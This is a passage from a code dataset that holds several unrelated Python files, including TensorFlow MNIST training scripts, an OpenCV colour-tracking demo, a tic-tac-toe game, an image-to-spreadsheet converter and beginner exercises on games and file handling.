'ont:Retrieval'}\n )\n\n hospitals_info = doc.entity('bdp:u6fv-m8v4',\n {'prov:label': 'Hospital Locations', prov.model.PROV_TYPE: 'ont:DataResource',\n 'ont:Extension': 'json'})\n hospitals_getInfo = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime,\n {'prov:label': 'Get Hospital Locations Data'})\n doc.wasAssociatedWith(hospitals_getInfo, this_script)\n doc.usage(\n hospitals_getInfo,\n hospitals_info,\n startTime,\n None,\n {prov.model.PROV_TYPE: 'ont:Retrieval'}\n )\n\n stations = doc.entity('dat:bsowens_ggelinas#stations',\n {prov.model.PROV_LABEL: 'Boston Police Stations District', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(stations, this_script)\n doc.wasGeneratedBy(stations, incidents_getInfo, endTime)\n doc.wasDerivedFrom(stations, incidents_info, incidents_getInfo, incidents_getInfo, incidents_getInfo)\n\n incidents = doc.entity('dat:bsowens_ggelinas#incidents',\n {prov.model.PROV_LABEL: 'Crime Incidents Report', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(incidents, this_script)\n doc.wasGeneratedBy(incidents, incidents_getInfo, endTime)\n doc.wasDerivedFrom(incidents, incidents_info, incidents_getInfo, incidents_getInfo, incidents_getInfo)\n\n property = doc.entity('dat:bsowens_ggelinas#property',\n {prov.model.PROV_LABEL: 'Property Assessment 2016', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(property, this_script)\n doc.wasGeneratedBy(property, property_getInfo, endTime)\n doc.wasDerivedFrom(property, property_info, property_getInfo, property_getInfo, property_getInfo)\n\n fio = doc.entity('dat:bsowens_ggelinas#fio',\n {prov.model.PROV_LABEL: 'Boston Police Department FIO', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(fio, this_script)\n doc.wasGeneratedBy(fio, fio_getInfo, endTime)\n doc.wasDerivedFrom(fio, fio_info, fio_getInfo, fio_getInfo, fio_getInfo)\n\n hospitals = doc.entity('dat:bsowens_ggelinas#hospitals', {prov.model.PROV_LABEL:'Hospital Locations', prov.model.PROV_TYPE:'ont:DataSet'})\n doc.wasAttributedTo(hospitals, this_script)\n doc.wasGeneratedBy(hospitals, hospitals_getInfo, endTime)\n doc.wasDerivedFrom(hospitals, hospitals_info, hospitals_getInfo, hospitals_getInfo, hospitals_getInfo)\n\n repo.record(doc.serialize())\n repo.logout()\n\n return doc\n\n\ngetData.execute()\ndoc = getData.provenance()\nprint(json.dumps(json.loads(doc.serialize()),indent=4))","sub_path":"bsowens_ggelinas/getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":8201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"612616082","text":"# -*- coding: utf-8 -*-\n\n#训练vgg网络\nimport os \nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\nfrom neural_network import le_net, alexnet, vgg_16, fc_net\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\n\n\n#中文显示问题\nplt.rcParams['font.sans-serif']=['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\n\n#参数设置\nBATCH_SIZE = 20 #batch大小 \nLEARNINNG_RATE_BASE = 0.01 #基础学习率\nLEARNING_BATE_DECAY = 0.98 #学习率衰减率\nREGULARATION_RATE = 0.00001#正则化权重\nTRANING_STEPS = 10001 #训练次数\nIMAGE_SIZE = 28 #输入图片大小\nNUM_CHANNELS = 1 #输入图片维度 \nINPUT_NODE = 784\nOUTPUT_NODE = 10 #神经网络输出维度=标签维度\n\n\n#画图函数\ndef draw_train_process(steps,para1, para2,name,net_name):\n \"\"\"训练过程中的损失值/正确率变化\"\"\"\n title= net_name + \"-训练过程中参数变化\"\n plt.title(title, fontsize=20)\n plt.xlabel(\"训练次数\", fontsize=14)\n # plt.ylabel(\"损失值\", fontsize=14)\n plt.plot(steps, para1,color='red',label='损失值') \n plt.plot(steps, para2,color='blue',label='正确率') \n plt.legend(['损失值', '正确率'],loc='upper right')\n plt.grid()\n plt.savefig(name)\n plt.show() \n \n\ndef train(mnist, network, model_path, model_name, png_name, \n txt_name1, txt_name2, net_name, is_fc):\n \"\"\"训练模型\"\"\"\n #输入参数:数据集,神经网络、模型保存地址、模型名称、图片保存名称、txt文件名、是否是全连接网络\n \n with tf.name_scope('input'):\n if is_fc:\n x = tf.compat.v1.placeholder(tf.float32,[\n None,\n INPUT_NODE], \n name='x-input') \n else:\n x = tf.compat.v1.placeholder(tf.float32,[\n None,\n IMAGE_SIZE, \n IMAGE_SIZE,\n NUM_CHANNELS], \n name='x-input') \n\n \n y_ = tf.compat.v1.placeholder(tf.float32,\n [None, OUTPUT_NODE],\n name='y-input')\n \n regularizer = tf.contrib.layers.l2_regularizer(REGULARATION_RATE)\n\n y = network(x, 10, regularizer) \n \n global_step = tf.Variable(0, trainable=False) \n \n #生成损失函数\n #利用函数生成交叉熵 \n with tf.name_scope('loss_function'):\n cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(\n logits=y, labels=tf.argmax(y_,1))\n cross_entropy_mean = tf.reduce_mean(cross_entropy)\n loss = cross_entropy_mean + tf.add_n(tf.compat.v1.get_collection('losses')) \n \n \n #指数衰减法设置学习率\n learning_rate = tf.compat.v1.train.exponential_decay(\n LEARNINNG_RATE_BASE,\n global_step,\n mnist.train.num_examples/BATCH_SIZE,\n LEARNING_BATE_DECAY\n )\n\n \n #优化损失函数\n with tf.name_scope('train_step'):\n train_step = tf.compat.v1.train.GradientDescentOptimizer(learning_rate)\\\n .minimize(loss, global_step=global_step)\n \n #反向传播更新参数 \n with tf.control_dependencies([train_step]):\n train_op = tf.no_op(name='train')\n \n #计算正确率 比较输出结果和标签\n with tf.name_scope('accuracy'):\n correct_prediction = tf.equal(tf.argmax(y,1),tf.argmax(y_,1)) \n accuracy = tf.reduce_mean(tf.cast(correct_prediction,tf.float32))\n\n\n #初保存器初始化\n saver = tf.compat.v1.train.Saver()\n steps = []\n accracys = []\n loss_values = []\n \n with tf.compat.v1.Session() as sess:\n \n tf.compat.v1.global_variables_initializer().run() #参数初始化\n \n for i in range(TRANING_STEPS): #开始训练\n\n #训练\n xs, ys = mnist.train.next_batch(BATCH_SIZE)\n if is_fc:\n reshape_xs= xs\n else:\n reshape_xs=np.reshape(xs,(BATCH_SIZE,\n IMAGE_SIZE,\n IMAGE_SIZE,\n NUM_CHANNELS))\n \n _ , losses_value, step = sess.run(\n [train_op, loss, global_step],feed_dict ={x: reshape_xs, y_: ys})\n \n #验证\n valxs,valys = mnist.validation.images, mnist.validation.labels\n \n if is_fc:\n reshape_val_xs= valxs\n else:\n\n reshape_val_xs=np.reshape(valxs,(mnist.validation.num_examples,\n IMAGE_SIZE,\n IMAGE_SIZE,\n NUM_CHANNELS))\n \n validate_acc = sess.run(accuracy,feed_dict ={x: reshape_val_xs, y_: valys})\n\n #参数保存\n steps.append(i)\n accracys.append(validate_acc)\n loss_values.append(losses_value)\n \n #打印训练过程的参数变化\n if i % 1000 ==0:\n print(\"训练 %d 轮后的损失值为 %g\" %(step, losses_value))\n #验证\n print(\"训练 %d 轮后的正确率为 %g\" %(i,validate_acc))\n #保存模型\n saver.save(sess, os.path.join(model_path, model_name), \n global_step=global_step)\n \n #把数据写入文件\n \n for i in range(len(accracys)):\n with open(txt_name1,'a') as obj:\n obj.write(str(accracys[i])+'\\n')\n with open(txt_name2,'a') as obj:\n obj.write(str(loss_values[i])+'\\n')\n \n draw_train_process(steps,loss_values, accracys, png_name, net_name) \n\ndef train_fc(mnist):\n \n tf.compat.v1.reset_default_graph() #清空计算图\n strat_time = datetime.now()\n #参数设置 \n model_path = \"model/fc_net\" #模型保存路径\n model_name = 'model.ckpt' #模型名字\n png_name = r'image/fc_net-损失值.jpg'\n txt_name1 = r'txt/fc_net_accracys.txt'\n txt_name2 = r'txt/fc_net_losses.txt'\n net_name = 'fc_net'\n network = fc_net\n #训练\n train(mnist, network, model_path, model_name, png_name, \n txt_name1, txt_name2,net_name,True)\n end_time = datetime.now() \n use_time = end_time - strat_time\n print('训练所用时间' + str(use_time))\n \ndef train_letnet(mnist):\n \n tf.compat.v1.reset_default_graph() #清空计算图\n strat_time = datetime.now()\n #参数设置 \n model_path = \"model/le_net\" #模型保存路径\n model_name = 'model.ckpt' #模型名字\n png_name = r'image/Le_Net-损失值.jpg'\n txt_name1 = r'txt/le_net_accracys.txt'\n txt_name2 = r'txt/le_net_losses.txt'\n net_name = 'Le_Net'\n network = le_net\n #训练\n train(mnist, network, model_path, model_name, png_name,\n txt_name1, txt_name2,net_name, None)\n end_time = datetime.now() \n use_time = end_time - strat_time\n print('训练所用时间' + str(use_time))\n \ndef train_alexnet(mnist):\n \n tf.compat.v1.reset_default_graph() #清空计算图\n strat_time = datetime.now()\n #参数设置 \n model_path = \"model/alexnet\" #模型保存路径\n model_name = 'model.ckpt' #模型名字\n png_name = r'image/AlexNet-损失值.jpg'\n txt_name1 = r'txt/Alexnet_accracys.txt'\n txt_name2 = r'txt/Alexnet_losses.txt'\n net_name = 'AlexNet'\n network = alexnet\n #训练\n train(mnist, network, model_path, model_name, png_name,\n txt_name1, txt_name2,net_name,None)\n end_time = datetime.now() \n use_time = end_time - strat_time\n print('训练所用时间' + str(use_time))\n \n \ndef train_vgg(mnist):\n \n tf.compat.v1.reset_default_graph() #清空计算图\n strat_time = datetime.now()\n #参数设置 \n model_path = \"model/vgg_16\" #模型保存路径\n model_name = 'model.ckpt' #模型名字\n png_name = r'image/vgg_16-损失值.jpg'\n txt_name1 = r'txt/vgg_16_accracys.txt'\n txt_name2 = r'txt/vgg_16_losses.txt'\n net_name = 'vgg_16'\n network = vgg_16\n #训练\n train(mnist, network, model_path, model_name, png_name,\n txt_name1, txt_name2,net_name,None)\n end_time = datetime.now() \n use_time = end_time - strat_time\n print('训练所用时间' + str(use_time))\n \n \n#主程序 \ndef main(argv=None):\n mnist = input_data.read_data_sets(\"mnist\",one_hot=True)\n train_fc(mnist)\n # train_letnet(mnist)\n # train_alexnet(mnist)\n # train_vgg(mnist)\n #数据维度\n # print(mnist.train.label.shape) #(55000, 10)\n # print(mnist.test.labels.shape) #(10000, 10)\n # print(mnist.validation.labels.shape) #(5000, 10)\n # print(mnist.train.next_batch(10))\n \nif __name__=='__main__':\n tf.compat.v1.app.run() \n\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"218262041","text":"p_1, p_2 = input().split(\", \")\n# pleyar = {}\n# for n in name:\n# pleyar[n] = int(501)\np_1 = 501\np_2 = 501\n\nmatrix = []\nfor i in range(7):\n matrix.append([x for x in input().split()])\n\nnums = input()\n\nn = int(nums[1])\nm = int(nums[4])\nprint(matrix[n][-1])\ncounter = 0\nwhile nums:\n\n if matrix[n][m] == \"T\":\n tochki = int(matrix[n][0]) + int(matrix[n][-1]) + int(matrix[0][m]) + int(matrix[-1][m])\n tochki = tochki * 2\n\n if counter % 2 == 0:\n p_1 -= tochki\n else:\n p_2 -= tochki\n\n elif matrix[n][m] == \"D\":\n\n tochki = matrix[n][0] + matrix[n][-1] + matrix[0][m] + matrix[-1][m]\n tochki = tochki * 2\n\n if counter % 2 == 0:\n p_1 -= tochki\n else:\n p_2 -= tochki\n\n elif matrix[n][m] == \"B\":\n\n if counter % 2 == 0:\n print(f\"{p_1} won the game with {counter} throws!\")\n else:\n print(f\"{p_2} won the game with {counter} throws!\")","sub_path":"problem 2.py","file_name":"problem 2.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"398850688","text":"#!/bin/python3\r\n\r\nimport math\r\nimport os\r\nimport random\r\nimport re\r\nimport sys\r\n\r\ndef marcsCakewalk(calorie):\r\n # Sort the calories\r\n a = calorie\r\n a.sort(reverse=True)\r\n\r\n miles = 0\r\n count = 0\r\n\r\n # The larger the calorie, the smaller\r\n # the exponential should be in order to\r\n # compute the minimum walk\r\n for i in range(len(a)):\r\n miles += a[i] * (2 ** count)\r\n count += 1\r\n\r\n return miles\r\n\r\nif __name__ == '__main__':\r\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\r\n\r\n n = int(input())\r\n calorie = list(map(int, input().rstrip().split()))\r\n\r\n result = marcsCakewalk(calorie)\r\n\r\n fptr.write(str(result) + '\\n')\r\n fptr.close()\r\n","sub_path":"Greedy/marcs_cakewalk.py","file_name":"marcs_cakewalk.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"540306704","text":"from __future__ import print_function\n# Path hack.\nimport sys\nimport os\nsys.path.append(os.path.dirname(os.path.abspath(__file__)) + \"/..\")\n\nimport argparse\nimport tensorflow as tf\n# pylint: disable-msg=E0401\nfrom model import drnn_regressor as drnn\nfrom wc_data import input_fn\nfrom time import strftime\nfrom test5 import collect_summary\nfrom test6 import parseArgs\nimport os\nimport numpy as np\nimport math\nimport multiprocessing\nimport shutil\n\n# N_TEST = 100\nVSET = 9\nTEST_INTERVAL = 50\nSAVE_INTERVAL = 10\nLAYER_WIDTH = 256\nMAX_STEP = 35\nTIME_SHIFT = 4\nDIM = 3\nDROP_OUT = 0.5\nLEARNING_RATE = 1e-3\nLOG_DIR = 'logdir'\n\nfeat_cols = [\"lr\", \"lr_vol\"]\n\n# pylint: disable-msg=E0601,E1101\n\nbst_saver, bst_score, bst_file, bst_ckpt = None, None, None, None\n\ndef validate(sess, model, summary, feed, bno, epoch):\n global bst_saver, bst_score, bst_file, bst_ckpt\n print('{} running on test set...'.format(strftime(\"%H:%M:%S\")))\n mse, worst, test_summary_str = sess.run(\n [model.cost, model.worst, summary], feed)\n diff, uuid, max_diff, predict, actual = math.sqrt(\n mse), worst[0], worst[1], worst[2], worst[3]\n print('{} Epoch {} diff {:3.5f} max_diff {:3.4f} predict {} actual {} uuid {}'.format(\n strftime(\"%H:%M:%S\"), epoch, diff, max_diff, predict, actual, uuid))\n if diff < bst_score:\n bst_score = diff\n bst_file.seek(0)\n bst_file.write('{}\\n{}\\n'.format(diff, bno))\n bst_file.truncate()\n bst_saver.save(sess, bst_ckpt,\n global_step=tf.compat.v1.train.get_global_step())\n print('{} acquired better model with validation score {}, at batch {}'.format(\n strftime(\"%H:%M:%S\"), diff, bno))\n return test_summary_str\n\n\ndef run(args):\n global bst_saver, bst_score, bst_file, bst_ckpt\n tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.INFO)\n training = tf.compat.v1.placeholder(tf.bool, [], name=\"training\")\n with tf.compat.v1.Session() as sess:\n model = drnn.DRnnRegressorV3(\n dim=DIM,\n training=training,\n layer_width=LAYER_WIDTH,\n learning_rate=LEARNING_RATE)\n model_name = model.getName()\n print('{} using model: {}'.format(strftime(\"%H:%M:%S\"), model_name))\n f = __file__\n testn = f[f.rfind('/')+1:f.rindex('.py')]\n base_dir = '{}/{}_{}'.format(LOG_DIR, testn, model_name)\n training_dir = os.path.join(base_dir, 'training')\n summary_dir = os.path.join(training_dir, 'summary')\n checkpoint_file = os.path.join(training_dir, 'model.ckpt')\n bst_ckpt = os.path.join(training_dir, 'best', 'model.ckpt')\n saver = None\n summary_str = None\n d = None\n restored = False\n bno, epoch, bst_score = 0, 0, sys.maxint\n ckpt = tf.train.get_checkpoint_state(training_dir)\n\n if tf.io.gfile.exists(training_dir):\n print(\"{} training folder exists\".format(strftime(\"%H:%M:%S\")))\n bst_file = open(os.path.join(training_dir, 'best_score'), 'w+')\n bst_file.seek(0)\n if ckpt and ckpt.model_checkpoint_path:\n print(\"{} found model checkpoint path: {}\".format(\n strftime(\"%H:%M:%S\"), ckpt.model_checkpoint_path))\n # Extract from checkpoint filename\n bno = int(os.path.basename(\n ckpt.model_checkpoint_path).split('-')[1])\n print('{} resuming from last training, bno = {}'.format(\n strftime(\"%H:%M:%S\"), bno))\n d = input_fn.getInputs(\n bno+1, TIME_SHIFT, feat_cols, MAX_STEP, args.parallel,\n args.prefetch, args.db_pool, args.db_host, args.db_port, args.db_pwd, args.vset or VSET)\n model.setNodes(d['uuids'], d['features'],\n d['labels'], d['seqlens'])\n saver = tf.compat.v1.train.Saver(name=\"reg_saver\")\n saver.restore(sess, ckpt.model_checkpoint_path)\n restored = True\n bst_score = bst_file.readline().rstrip()\n print('{} previous best score: {}'.format(\n strftime(\"%H:%M:%S\"), bst_score))\n rbno = sess.run(tf.compat.v1.train.get_global_step())\n print('{} check restored global step: {}, previous batch no: {}'.format(\n strftime(\"%H:%M:%S\"), rbno, bno))\n if bno != rbno:\n print('{} bno({}) inconsistent with global step({}). reset global step with bno.'.format(\n strftime(\"%H:%M:%S\"), bno, rbno))\n gstep = tf.compat.v1.train.get_global_step(sess.graph)\n sess.run(tf.compat.v1.assign(gstep, bno))\n else:\n print(\"{} model checkpoint path not found, cleaning training folder\".format(\n strftime(\"%H:%M:%S\")))\n tf.io.gfile.rmtree(training_dir)\n\n if not restored:\n d = input_fn.getInputs(\n bno+1, TIME_SHIFT, feat_cols, MAX_STEP, args.parallel,\n args.prefetch, args.db_pool, args.db_host, args.db_port, args.db_pwd, args.vset or VSET)\n model.setNodes(d['uuids'], d['features'],\n d['labels'], d['seqlens'])\n saver = tf.compat.v1.train.Saver(name=\"reg_saver\")\n sess.run(tf.compat.v1.global_variables_initializer())\n tf.io.gfile.makedirs(training_dir)\n bst_file = open(os.path.join(training_dir, 'best_score'), 'w+')\n bst_saver = tf.compat.v1.train.Saver(name=\"bst_saver\")\n\n train_handle, test_handle = sess.run(\n [d['train_iter'].string_handle(), d['test_iter'].string_handle()])\n\n train_feed = {d['handle']: train_handle, training: True}\n test_feed = {d['handle']: test_handle, training: False}\n\n summary, train_writer, test_writer = collect_summary(\n sess, model, summary_dir)\n test_summary_str = None\n while True:\n # bno = epoch*TEST_INTERVAL\n epoch = bno // TEST_INTERVAL\n if restored or bno % TEST_INTERVAL == 0:\n test_summary_str = validate(\n sess, model, summary, test_feed, bno, epoch)\n restored = False\n try:\n print('{} training batch {}'.format(\n strftime(\"%H:%M:%S\"), bno+1))\n summary_str, worst = sess.run(\n [summary, model.worst, model.optimize], train_feed)[:-1]\n except tf.errors.OutOfRangeError:\n print(\"End of Dataset.\")\n break\n bno = bno+1\n _, max_diff, predict, actual = worst[0], worst[1], worst[2], worst[3]\n print('{} bno {} max_diff {:3.4f} predict {} actual {}'.format(\n strftime(\"%H:%M:%S\"), bno, max_diff, predict, actual))\n train_writer.add_summary(summary_str, bno)\n test_writer.add_summary(test_summary_str, bno)\n train_writer.flush()\n test_writer.flush()\n if bno == 1 or bno % SAVE_INTERVAL == 0:\n saver.save(sess, checkpoint_file,\n global_step=tf.compat.v1.train.get_global_step())\n # test last epoch\n test_summary_str = validate(\n sess, model, summary, test_feed, bno, epoch)\n train_writer.add_summary(summary_str, bno)\n test_writer.add_summary(test_summary_str, bno)\n train_writer.flush()\n test_writer.flush()\n saver.save(sess, checkpoint_file,\n global_step=tf.compat.v1.train.get_global_step())\n # training finished, move to 'trained' folder\n trained = os.path.join(base_dir, 'trained')\n tf.io.gfile.makedirs(trained)\n tmp_dir = os.path.join(\n base_dir, strftime(\"%Y%m%d_%H%M%S\"))\n os.rename(training_dir, tmp_dir)\n shutil.move(tmp_dir, trained)\n print('{} model is saved to {}'.format(strftime(\"%H:%M:%S\"), trained))\n bst_file.close()\n\n\nif __name__ == '__main__':\n args = parseArgs()\n run(args)\n","sub_path":"corl/wc_test/archive/test9.py","file_name":"test9.py","file_ext":"py","file_size_in_byte":8144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"489000501","text":"import xlsxwriter\nimport os\nfrom PIL import Image\n\n# DISCLAIMER: For now works with small images\nfile_name = 'me.png'\n# file_name = 'aperture-icon.png'\n\nprint('Image name: ', file_name)\n\n# Create output folder\nif not os.path.isdir('output'):\n os.makedirs('output')\n\n\n\ndef get_pixels_from_image(name):\n im = Image.open(name)\n return im.size, im.load()\n\n# Transparent elements are regarded as white\ndef rgb_to_hex(r, g, b, a = 255):\n if a == 0:\n return '#FFFFFF'\n return '#%02x%02x%02x' % (r, g, b)\n\ndef write_cell(workbook, x, y, style):\n workbook.write(x, y, '', style)\n\n\nim_size, im_pixels = get_pixels_from_image(f'images/{file_name}')\nalpha = len(im_pixels[0, 0]) == 4 # check if alpha channel is included.\n\nprint('Number of cells: ', str(im_size[0] * im_size[1]))\n\nworkbook = xlsxwriter.Workbook(f'output/{file_name}.xlsx', {'constant_memory': True})\n# workbook = xlsxwriter.Workbook(f'output/{file_name}.xlsx')\nws = workbook.add_worksheet('Image')\nws.set_default_row(10)\nws.set_column(0, im_size[0] - 1, 1)\n\nformats = {} # Excel can only handle a limite amount of formats. So all unique colours are stored for reusability\n\nfor col in range(0, im_size[1]):\n for row in range(0, im_size[0]):\n if not alpha:\n r, g, b = im_pixels[row, col]\n color = rgb_to_hex(r, g, b)\n else: \n r, g, b, a = im_pixels[row, col]\n color = rgb_to_hex(r, g, b, a)\n \n if color not in formats.keys():\n formats[color] = workbook.add_format({'bg_color': color})\n\n write_cell(ws, col, row, formats[color])\n\nprint('Colours used: ', len(formats.keys()))\n\nworkbook.close()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"11598136","text":"#!/usr/bin/env python\n\nimport os,sys,time\nimport cv2\nimport numpy as np\n\ndef nothing(x):\n pass\n \n\nif __name__ == '__main__':\n cap = cv2.VideoCapture(\"mb.mp4\") #0)\n cv2.namedWindow(\"Trackbars\")\n \n cv2.createTrackbar(\"L - H\", \"Trackbars\", 0, 255, nothing)\n cv2.createTrackbar(\"L - S\", \"Trackbars\", 0, 255, nothing)\n cv2.createTrackbar(\"L - V\", \"Trackbars\", 0, 255, nothing)\n cv2.createTrackbar(\"U - H\", \"Trackbars\", 255, 255, nothing)\n cv2.createTrackbar(\"U - S\", \"Trackbars\", 255, 255, nothing)\n cv2.createTrackbar(\"U - V\", \"Trackbars\", 255, 255, nothing)\n\n #cap.set(cv2.CAP_PROP_FRAME_WIDTH,800)\n #cap.set(cv2.CAP_PROP_FRAME_HEIGHT,600)\n cap.set(3, 1280)\n cap.set(4, 720)\n frame_num = 0\n while True:\n ret, frame = cap.read()\n #cv2.imshow(\"Capture\", frame)\n hsv_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n frame_num = frame_num + 1\n if frame_num > 300:\n cap.release()\n frame_num = 0\n cap = cv2.VideoCapture(\"mb.mp4\")\n\n l_h = cv2.getTrackbarPos(\"L - H\", \"Trackbars\")\n l_s = cv2.getTrackbarPos(\"L - S\", \"Trackbars\")\n l_v = cv2.getTrackbarPos(\"L - V\", \"Trackbars\")\n u_h = cv2.getTrackbarPos(\"U - H\", \"Trackbars\")\n u_s = cv2.getTrackbarPos(\"U - S\", \"Trackbars\")\n u_v = cv2.getTrackbarPos(\"U - V\", \"Trackbars\")\n\n #cv2.imshow(\"HSV\", hsv_frame)\n #Filter color\n lower_red = np.array([l_h,l_s,l_v])\n upper_red = np.array([u_h,u_s,u_v])\n #mask\n f_frame = cv2.inRange(hsv_frame, lower_red, upper_red)\n #cv2.imshow(\"Masked\", f_frame)\n #erode twice\n element = cv2.getStructuringElement(cv2.MORPH_RECT,(3,3))\n element2 = cv2.getStructuringElement(cv2.MORPH_RECT,(8,8))\n \n erode_frame = cv2.erode(f_frame, element)\n erode_frame = cv2.erode(erode_frame, element)\n\n dilate_frame = cv2.dilate(erode_frame, element2)\n dilate_frame = cv2.dilate(dilate_frame, element2)\n \n #cv2.imshow(\"MORPH\", dilate_frame)\n x,y,w,h = cv2.boundingRect(dilate_frame)\n cv2.rectangle(frame, (x,y), (x+w, y+h) , (0,255,0),3)\n\n #Find contours\n contours, hierarchy = cv2.findContours(dilate_frame, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)\n for cnt in contours:\n rect = cv2.minAreaRect(cnt)\n #box = cv2.cv.BoxPoints(rect)\n box = cv2.boxPoints(rect)\n box = np.int0(box)\n cv2.drawContours(frame, [box], 0, (0,0,255), 2)\n print(\"Angle:%d\" % rect[2])\n\n cv2.imshow(\"MORPH\", dilate_frame)\n cv2.imshow(\"Capture\", frame)\n \n if cv2.waitKey(1) & 0xFF == ord('q'):\n cv2.imwrite(\"test.jpeg\", frame)\n break\n cap.release()\n cv2.destroyAllWindows()\n\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"51846912","text":"# global variables\nboard = [[None, None, None], [None, None, None], [None, None, None]]\nmoves = 0\nended = False\nfirst_player = None\nsecond_player = None\n\n\n# prints the tic tac toe board\ndef print_board():\n print(\"\\n---------------------\")\n for x in board:\n print(\"|\", end=\"\")\n for y in range(len(x)):\n if x[y] is not None and (y < len(x) - 1):\n print(\" \", x[y], \" | \", end=\"\")\n elif x[y] is not None and y == len(x) - 1:\n print(\" \", x[y], \" | \")\n elif y < (len(x) - 1):\n print(\" | \", end=\"\")\n else:\n print(\" | \")\n print(\"---------------------\")\n print()\n\n\n# checks a move is valid\ndef check_valid(pos_x, pos_y):\n if pos_y < len(board):\n if pos_x < len(board[0]) and board[pos_y][pos_x] is None:\n return True\n else:\n return False\n\n\n# checks if there is a winner\ndef check_winning():\n # check is there is a row with 3 the same chars\n for row in range(len(board)):\n if all(x == board[row][0] for x in board[row]) and board[row][0] is not None:\n return True\n # check is there is a column with 3 the same chars\n for x in range(len(board)):\n items = []\n for row in range(len(board)):\n items.append(board[row][x - 1])\n if all(i == items[0] for i in items) and items[0] is not None:\n return True\n # check is the diagonal row from 1,1 to 3,3 are the same chars\n items = []\n counter = 0\n for row in range(len(board)):\n items.append(board[row][counter])\n counter += 1\n if all(i == items[0] for i in items) and items[0] is not None:\n return True\n # check is the diagonal row from 1,3 to 3,1 are the same chars\n items = []\n counter = len(board) - 1\n for row in range(len(board)):\n items.append(board[row][counter])\n counter -= 1\n if all(i == items[0] for i in items) and items[0] is not None:\n return True\n return False\n\n\n# handling the players movements\ndef move(player):\n global moves, ended, pos_y, pos_x\n print_board()\n valid_pos = False\n while not valid_pos:\n pos_x = input(player + \" give a x-position: \")\n pos_y = input(player + \" give a y-position: \")\n if pos_x.isdigit() and pos_y.isdigit():\n valid_pos = check_valid((int(pos_x) - 1), (int(pos_y) - 1))\n if not valid_pos:\n print(player + \" you location is invalid, try again.\\n\")\n if player == first_player:\n board[int(pos_y) - 1][int(pos_x) - 1] = \"O\"\n else:\n board[int(pos_y) - 1][int(pos_x) - 1] = \"X\"\n moves += 1\n if check_winning():\n print_board()\n print(player + \" has won!!!!!\")\n ended = True\n\n\n# reset the board\ndef reset_board():\n for x in range(len(board)):\n for y in range(len(board[x])):\n board[x][y] = None\n\n\n# resets all the variables that need to be reset for the next round\ndef reset():\n global moves, ended\n moves = 0\n ended = False\n reset_board()\n\n\n# running the game\ndef run():\n global first_player, second_player, moves, ended\n print(\"Lets play the game.\\nIn order you would like to exit pres CTRL + c.\\n\")\n first_player = input(\"Give the name of the first player: \")\n second_player = input(\"Give the name of the second player: \")\n while not ended and moves < 9:\n move(first_player)\n if moves < 9 and not ended:\n move(second_player)\n if moves == 9:\n print_board()\n print(\"The game ended in a draw.\")\n print(\"Lets play again.\\n\")\n reset()\n\n\n# running the game over and over again\nwhile True:\n run()\n","sub_path":"tic_tac_toe.py","file_name":"tic_tac_toe.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"198185049","text":"# Julie is very happy with the programs that you have written so far.\n# Your next job is to write a program that she can use to modify the\n# quantity field in an existing record. This will allow her to keep\n# the records up to date as coffee is sold or more coffee of an\n# existing type is added to inventory.\n# To modify a record in a sequential file, you must create a second\n# temporary file. You copy all of the original file’s records to the\n# temporary file, but when you get to the record that is to be modified,\n# you do not write its old contents to the temporary file. Instead, you\n# write its new modified values to the temporary file. Then, you finish\n# copying any remaining records from the original file to the temporary\n# file. \n# The temporary file then takes the place of the original file.\n# You delete the original file and rename the temporary file, giving\n# it the name that the original file had on the computer’s disk.\n# Here is the general algorithm for your program.\n# Open the original file for input and create a temporary\n# file for output.\n# Get the description of the record to be modified and the new value\n# for the quantity.\n# Read the first description field from the original file.\n# While the description field is not empty:\n# Read the quantity field.\n# If this record ’s description field matches the description\n# entered:\n# Write the new data to the temporary file.\n# Else:\n# Write the existing record to the temporary file.\n# Read the next description field.\n# Close the original file and the temporary file.\n# Delete the original file.\n# Rename the temporary file, giving it the name of the original file.\n# \n# Notice at the end of the algorithm you delete the original file then\n# rename the temporary file. The Python standard library’s os module\n# provides a function named remove, that deletes a file on the disk.\n# You simply pass the name of the file as an argument to the function.\n# Here is an example of how you would delete a file named coffee.txt:\n# remove('coffee.txt')\n# The os module also provides a function named rename, that renames a file.\n# Here is an example of how you would use it to rename the file temp.txt\n# to coffee.txt:\n# rename('temp.txt', 'coffee.txt')\n\n# ######################################\n\n# This program allows the user to modify the quantity in a record in \n# the coffee.txt file.\n\nimport os # Needed for the remove and rename functions\n\ndef main():\n # Create a bool variable to use as a flag\n found = False\n\n # Get the search value and the new quantity\n searh = input('Enter a description to search for: ')\n new_qty = int( input('Enter the new quantity: '))\n\n # Open the original coffee.txt file.\n coffee_file = open('coffee.txt', 